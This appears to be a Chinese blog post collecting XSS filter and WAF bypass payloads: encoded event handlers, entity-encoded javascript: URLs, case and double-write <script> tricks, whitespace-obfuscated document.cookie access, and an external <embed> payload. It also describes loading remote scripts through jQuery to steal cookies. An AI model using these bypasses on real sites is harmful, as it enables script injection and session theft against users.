xss漏洞不多介绍,烂大街的~ 这里就讲这么绕过一些过滤

验证了on事件=

比如验证的是如下符号存在就会拦截

1
onerror=
2
onclick=
3
onload=
4
onxxxxx=

那么我们可以这样子绕过

1
onerror+=
2
onerror%0a=
3
onerror%0d=
4
onerror%09=

image.png-25.9kB

image.png-26.2kB

javascript:alert变成了javascr_ipt:alert

比如如下链接就是这样子过滤的,那么我们可以将其ascii编码

1
http://test.xss.tv/level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B&submit=添加友情链接

还可以用%09绕过

1
javascr%09ipt:alert(1)

1.png-21.4kB

还可以%0a、%0d绕过

过滤了<script>

  1. 大小写绕过(<SCriPt>
  2. 双写绕过(<scr<script>ipt>,他会把中间的<script>过滤掉,然后最终变成<script>

cookie绕过方法

很多站waf没限制弹窗,但是限制获取cookie限制原生代码写的远程加载js文件,那么我们可以利用框架

比如www.a.com站有jquery框架,那么我们可以这样子来引入JS文件来打cookie,案例如下

1.png-176.5kB

jquery中可以用$.getScript()函数来引入js文件

空格代替符

%0a、%0d、%09url解码后都会变为空格,所以我们可以将其加入在js代码中,就可以达到扰乱一些waf规则

1
<script>%09alert%09(1);<script>
2
<script>%0dalert%0d(1);</script>
3
<script>%0aalert%0a(1);</script>
4
<script>alert(document%0a.%09cookie);</script>
5
<script>alert(%0ddocument%0a.%09cookie);</script>

1.png-20.3kB

函数绕过

js中,函数不仅可以这样

1
(alert)(1);

还可以这样

1
(alert)(1);

传参可以这样

1
alert(1);

还可以这样

1
alert`1`;

配合空格替代符效果会更好。

embed解析导致的xss

这个解析的条件得在新浏览器才可以,但是很鸡肋,因为无法打cookie(因为这个不是目标网站的域),所以只能执行一些其他的js代码,如跳转,弹窗等,xss payload如下

1
<embed src='http://static.zybuluo.com/1kbfree/2o0dq6spzahj8z7yjg64akgp/xss1.pdf'>

如果以后遇到的话会再次更新~